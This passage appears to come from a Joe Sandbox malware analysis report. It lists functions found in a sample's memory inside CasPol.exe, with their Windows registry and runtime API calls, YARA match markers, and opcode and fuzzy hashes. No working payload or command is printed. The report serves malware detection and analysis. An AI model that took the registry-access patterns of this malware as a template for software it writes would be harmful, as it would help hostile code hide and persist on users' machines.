                                                                                                                                                                                                  • Instruction Fuzzy Hash: 4A01D676900228FBCB209B91DC08DEF7F7DDB44B51F004066BB05A2240DA748E45DBA4
                                                                                                                                                                                                  Function 00413733 Relevance: 4.5, APIs: 3, Instructions: 42registryCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,00000000), ref: 0041374F
                                                                                                                                                                                                  • RegQueryValueExA.KERNEL32 ref: 00413768
                                                                                                                                                                                                  • RegCloseKey.KERNEL32(00000000), ref: 00413773
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: CloseOpenQueryValue
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 3677997916-0
                                                                                                                                                                                                  • Opcode ID: 16fdc48d36bb649990d7f6d81c9afeb312c2f40a16629baa57fa9ba92c9a975a
                                                                                                                                                                                                  • Instruction ID: cdc8bb2f12cdea1da97e3e4d454c68039a4c25ad8704162e95ac064a0ac82555
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 16fdc48d36bb649990d7f6d81c9afeb312c2f40a16629baa57fa9ba92c9a975a
                                                                                                                                                                                                  • Instruction Fuzzy Hash: C301AD7540022DFBDF215F91DC04DEB3F38EF05761F008065BE09620A1E7358AA5EB94
                                                                                                                                                                                                  Function 00413584 Relevance: 4.5, APIs: 3, Instructions: 37registryCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,?), ref: 004135A4
                                                                                                                                                                                                  • RegQueryValueExA.KERNEL32 ref: 004135C2
                                                                                                                                                                                                  • RegCloseKey.KERNEL32(?), ref: 004135CD
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: CloseOpenQueryValue
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 3677997916-0
                                                                                                                                                                                                  • Opcode ID: 1fd388fcba5a36fc4cfbdc9a361dcb97530194601f604bbc1403cef4751c10f9
                                                                                                                                                                                                  • Instruction ID: 3ea041f737baa467864e73cd7e114674dd940ed34319bd14b5ec79364d8ab256
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 1fd388fcba5a36fc4cfbdc9a361dcb97530194601f604bbc1403cef4751c10f9
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 39F01D76900218FFDF109FA09C45FEE7BBDEB04B11F1044A5BA04E6191D6359F549B94
                                                                                                                                                                                                  Function 0041353A Relevance: 4.5, APIs: 3, Instructions: 32registryCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,?), ref: 00413551
                                                                                                                                                                                                  • RegQueryValueExA.KERNEL32 ref: 00413565
                                                                                                                                                                                                  • RegCloseKey.KERNEL32(?), ref: 00413570
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: CloseOpenQueryValue
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 3677997916-0
                                                                                                                                                                                                  • Opcode ID: 457a1e9777394aa84a55c62b4c884cbf4b645f8070d1882d45228c3eb86b6271
                                                                                                                                                                                                  • Instruction ID: 960a54a16a1ccd4152458ec6927d20d37e2092670a33f2d7c306b576a706ad25
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 457a1e9777394aa84a55c62b4c884cbf4b645f8070d1882d45228c3eb86b6271
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 23E06532801238FBDF204FA29C0DDEB7F6CDF06BA1B000155BD0CA1111D2258E50E6E4
                                                                                                                                                                                                  Function 004138B2 Relevance: 4.5, APIs: 3, Instructions: 30registryCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • RegCreateKeyA.ADVAPI32(80000001,00000000,004660B4), ref: 004138C0
                                                                                                                                                                                                  • RegSetValueExA.KERNEL32(004660B4,000000AF,00000000,00000004,00000001,00000004), ref: 004138DB
                                                                                                                                                                                                  • RegCloseKey.KERNEL32(004660B4), ref: 004138E6
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: CloseCreateValue
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 1818849710-0
                                                                                                                                                                                                  • Opcode ID: 8a000a4505fdb29c534fdcd469952580260528b50fc1865eb33bc02dff3d936a
                                                                                                                                                                                                  • Instruction ID: 04d77b696783773a8a307df6842786532c8303179302b097fa31242bc3118ae5
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 8a000a4505fdb29c534fdcd469952580260528b50fc1865eb33bc02dff3d936a
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 1EE06D72500318FBDF109FA0DC06FEA7BACEF04B62F104565BF09A6191D6358E14E7A8
                                                                                                                                                                                                  Function 0044EE44 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 132COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetCPInfo.KERNEL32(5EFC4D8B,?,00000005,?,00000000), ref: 0044EE69
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Info
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 1807457897-3916222277
                                                                                                                                                                                                  • Opcode ID: c218bb7fec2994ea758599c37fad7e7d2b1b4cc9144a8923480740bb4dc68c2e
                                                                                                                                                                                                  • Instruction ID: 2d4132b881e94a0a9fd0de77a922cbe9b4a8b8c61ff6a95216f325efaac8b060
                                                                                                                                                                                                  • Opcode Fuzzy Hash: c218bb7fec2994ea758599c37fad7e7d2b1b4cc9144a8923480740bb4dc68c2e
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 7E411070504748AFEF218E25CC84AF7BBB9FF45304F2404EEE59987142D2399A46DF65
                                                                                                                                                                                                  Function 10006ACB Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 132COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetCPInfo.KERNEL32(5EFC4D8B,?,00000005,?,00000000), ref: 10006AF0
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.658489687.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658478098.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658489687.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_10000000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Info
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 1807457897-3916222277
                                                                                                                                                                                                  • Opcode ID: 6cedc9456a51a48c8b79c853d380540c5183232597a17884e183f7c8afc1900e
                                                                                                                                                                                                  • Instruction ID: 7792c4a5177154c3e9ca344f7bd1be717728489360a1cc3eced530dab922c6d1
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 6cedc9456a51a48c8b79c853d380540c5183232597a17884e183f7c8afc1900e
                                                                                                                                                                                                  • Instruction Fuzzy Hash: D241FCB050429C9AFB21CF148C84BEABBEAEB49344F2444EDE5C9C6146D735AA85DF20
                                                                                                                                                                                                  Function 00409E1F Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: _wcslen
                                                                                                                                                                                                  • String ID: pQG
                                                                                                                                                                                                  • API String ID: 176396367-3769108836
                                                                                                                                                                                                  • Opcode ID: 5581d9da4b44419582c52f90d2dac08d2b870ca85f72c258eca40ba8ececd965
                                                                                                                                                                                                  • Instruction ID: e26466b944e621eef81fbe5db30e3e3b172770e45cde188e8c087a2518f8d89f
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 5581d9da4b44419582c52f90d2dac08d2b870ca85f72c258eca40ba8ececd965
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 631181319002059BCB15EF66E852AEF7BB4AF54314B10413FF446A62E2EF78AD15CB98
                                                                                                                                                                                                  Function 00448C33 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47COMMONLIBRARYCODE
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • LCMapStringW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000001,?,?), ref: 00448CA4
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: String
                                                                                                                                                                                                  • String ID: LCMapStringEx
                                                                                                                                                                                                  • API String ID: 2568140703-3893581201
                                                                                                                                                                                                  • Opcode ID: 4e10c201ebb2099c74eb4779768ff64867bf24b434018514e16e99dc8bd4ef65
                                                                                                                                                                                                  • Instruction ID: c3f282dcf0fd97a5c368a601407465e3bede0a00add2935535d0592c00eac712
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 4e10c201ebb2099c74eb4779768ff64867bf24b434018514e16e99dc8bd4ef65
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 3001253254120CFBCF02AF91DD02EEE7F66EF08751F04416AFE1965161CA3A8971EB99
                                                                                                                                                                                                  Function 10005F19 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • LCMapStringW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,5EFC4D8B,00000100,?,5EFC4D8B,00000000), ref: 10005F8A
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.658489687.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658478098.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658489687.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_10000000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: String
                                                                                                                                                                                                  • String ID: LCMapStringEx
                                                                                                                                                                                                  • API String ID: 2568140703-3893581201
                                                                                                                                                                                                  • Opcode ID: 9311d150e09a2ea236c127db5a9a9399c35e1f3cdcd5bb094b510bbe54d2b48d
                                                                                                                                                                                                  • Instruction ID: 984c2aabb43d86beb2eff1d34daabde68608d0bd8f0a2971fe4c3ea005c0c61c
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 9311d150e09a2ea236c127db5a9a9399c35e1f3cdcd5bb094b510bbe54d2b48d
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 9401D332500159BBEF129F90CC05EEE7F66EF08390F018115FE1826124CB369971AB95
                                                                                                                                                                                                  Function 00448790 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30memoryCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Alloc
                                                                                                                                                                                                  • String ID: FlsAlloc
                                                                                                                                                                                                  • API String ID: 2773662609-671089009
                                                                                                                                                                                                  • Opcode ID: 8d34d378e792ffc8bee28f5c2a12e2aa67d49de27489c3fe41b8e68b567a8336
                                                                                                                                                                                                  • Instruction ID: f8901b274c9ac7999680b04b2037e580393277d5e39e0d99f0e7f02c98ef4e36
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 8d34d378e792ffc8bee28f5c2a12e2aa67d49de27489c3fe41b8e68b567a8336
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 8FE05530640318F7D3016B21DC16A2FBB94DB04B22B10006FFD0553241EE794D15C5CE
                                                                                                                                                                                                  Function 10005D5C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30memoryCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.658489687.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658478098.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658489687.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_10000000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Alloc
                                                                                                                                                                                                  • String ID: FlsAlloc
                                                                                                                                                                                                  • API String ID: 2773662609-671089009
                                                                                                                                                                                                  • Opcode ID: 5ade6ed448300679f83b5d20ac83fd3ad7347746afaf7e54a560ff76d56e46a0
                                                                                                                                                                                                  • Instruction ID: c304bc83fd0672a576945d725d7c66755e55876121cef6cfa1c70df20931aaa1
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 5ade6ed448300679f83b5d20ac83fd3ad7347746afaf7e54a560ff76d56e46a0
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 43E0E535600228ABF325EB608C15EEFBBA4DB583D1B01405AFE0966209CE326D0185D6
                                                                                                                                                                                                  Function 00438E14 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 22COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • try_get_function.LIBVCRUNTIME ref: 00438E29
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: try_get_function
                                                                                                                                                                                                  • String ID: FlsAlloc
                                                                                                                                                                                                  • API String ID: 2742660187-671089009
                                                                                                                                                                                                  • Opcode ID: 1eb4f256e7c4e0b4dee7f2b7c001ffdd8c026b266bbfd6c5aa47d90a079f9e5b
                                                                                                                                                                                                  • Instruction ID: b64d3ab94c56a33c1928a034b10f94234fe941941be7f39555266fb58f36a209
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 1eb4f256e7c4e0b4dee7f2b7c001ffdd8c026b266bbfd6c5aa47d90a079f9e5b
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 09D02B31BC1328B6C51032955C03BD9B6048B00FF7F002067FF0C61283899E592082DE
                                                                                                                                                                                                  Function 10003AF1 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 22COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • try_get_function.LIBVCRUNTIME ref: 10003B06
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.658489687.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658478098.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658489687.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_10000000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: try_get_function
                                                                                                                                                                                                  • String ID: FlsAlloc
                                                                                                                                                                                                  • API String ID: 2742660187-671089009
                                                                                                                                                                                                  • Opcode ID: e5392f9aa55551a50589cb99c6148b67437594651e03cd2756b54b563a9e1daf
                                                                                                                                                                                                  • Instruction ID: 0b7c7f44018c04906f4f2ef9afae3f4f684564eee465a9a4c05fe82f6616737e
                                                                                                                                                                                                  • Opcode Fuzzy Hash: e5392f9aa55551a50589cb99c6148b67437594651e03cd2756b54b563a9e1daf
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 13D02B32744138B3F201B3A06C04BEEBB88D7025F2F040063FB4C5210CDB11591042E6
                                                                                                                                                                                                  Function 0041B847 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 17COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GlobalMemoryStatusEx.KERNEL32(?), ref: 0041B85B
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: GlobalMemoryStatus
                                                                                                                                                                                                  • String ID: @
                                                                                                                                                                                                  • API String ID: 1890195054-2766056989
                                                                                                                                                                                                  • Opcode ID: 2ff32e62116e468e6d8a54eb6c0bfd9d688f6c12eac0596ef65494206548ed21
                                                                                                                                                                                                  • Instruction ID: 2d2b64c70bc766df394076410504e3f9c8f669937c614d63c6700d8895b1c70c
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 2ff32e62116e468e6d8a54eb6c0bfd9d688f6c12eac0596ef65494206548ed21
                                                                                                                                                                                                  • Instruction Fuzzy Hash: E6D017B58023189FC720DFA8E804A8DBBFCFB08210F00456AEC49E3700E770E8008B94
                                                                                                                                                                                                  Function 0044F199 Relevance: 3.2, APIs: 2, Instructions: 168COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 0044ED6C: GetOEMCP.KERNEL32(00000000,?,?,0044EFF5,?), ref: 0044ED97
                                                                                                                                                                                                  • IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,0044F03A,?,00000000), ref: 0044F20D
                                                                                                                                                                                                  • GetCPInfo.KERNEL32(00000000,0044F03A,?,?,?,0044F03A,?,00000000), ref: 0044F220
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: CodeInfoPageValid
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 546120528-0
                                                                                                                                                                                                  • Opcode ID: 747d95ecf2005c527016839393fb107aa8d78a19bbf0a74999b8906be39dfc0a
                                                                                                                                                                                                  • Instruction ID: 491245c4813b68437391e3e70942b885a5b84425ef1b1be509cf98dd56c33fdc
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 747d95ecf2005c527016839393fb107aa8d78a19bbf0a74999b8906be39dfc0a
                                                                                                                                                                                                  • Instruction Fuzzy Hash: A05153749002469EFB208F76C8816BBBBE4FF01304F1480BFD48687251E67E994A8B99
                                                                                                                                                                                                  Function 10006E20 Relevance: 3.2, APIs: 2, Instructions: 168COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 100069F3: GetOEMCP.KERNEL32(00000000,?,?,10006C7C,?), ref: 10006A1E
                                                                                                                                                                                                  • IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,10006CC1,?,00000000), ref: 10006E94
                                                                                                                                                                                                  • GetCPInfo.KERNEL32(00000000,10006CC1,?,?,?,10006CC1,?,00000000), ref: 10006EA7
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.658489687.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658478098.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658489687.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_10000000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: CodeInfoPageValid
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 546120528-0
                                                                                                                                                                                                  • Opcode ID: 4adf61bb8ef5ba689b58ef35b1aaecca0a92cbb4d0ae1edbfb61d6a665a170f3
                                                                                                                                                                                                  • Instruction ID: 1dd91d3823b6bb4934ca9945ee4913e93bf289da146d72ec34fd0236562290e4
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 4adf61bb8ef5ba689b58ef35b1aaecca0a92cbb4d0ae1edbfb61d6a665a170f3
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 91513474E043469EFB21CF71DC916BBBBE6EF49280F20807EE48687156D735DA458B90
                                                                                                                                                                                                  Function 0044EFD8 Relevance: 3.1, APIs: 2, Instructions: 91COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 00448295: GetLastError.KERNEL32(00000020,?,0043A875,?,?,?,0043F9F8,?,?,00000020,00000000,?,?,?,0042DD92,0000003B), ref: 00448299
                                                                                                                                                                                                    • Part of subcall function 00448295: _free.LIBCMT ref: 004482CC
                                                                                                                                                                                                    • Part of subcall function 00448295: SetLastError.KERNEL32(00000000,0043F9F8,?,?,00000020,00000000,?,?,?,0042DD92,0000003B,?,00000041,00000000,00000000), ref: 0044830D
                                                                                                                                                                                                    • Part of subcall function 00448295: _abort.LIBCMT ref: 00448313
                                                                                                                                                                                                    • Part of subcall function 0044F0F7: _abort.LIBCMT ref: 0044F129
                                                                                                                                                                                                    • Part of subcall function 0044F0F7: _free.LIBCMT ref: 0044F15D
                                                                                                                                                                                                    • Part of subcall function 0044ED6C: GetOEMCP.KERNEL32(00000000,?,?,0044EFF5,?), ref: 0044ED97
                                                                                                                                                                                                  • _free.LIBCMT ref: 0044F050
                                                                                                                                                                                                  • _free.LIBCMT ref: 0044F086
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
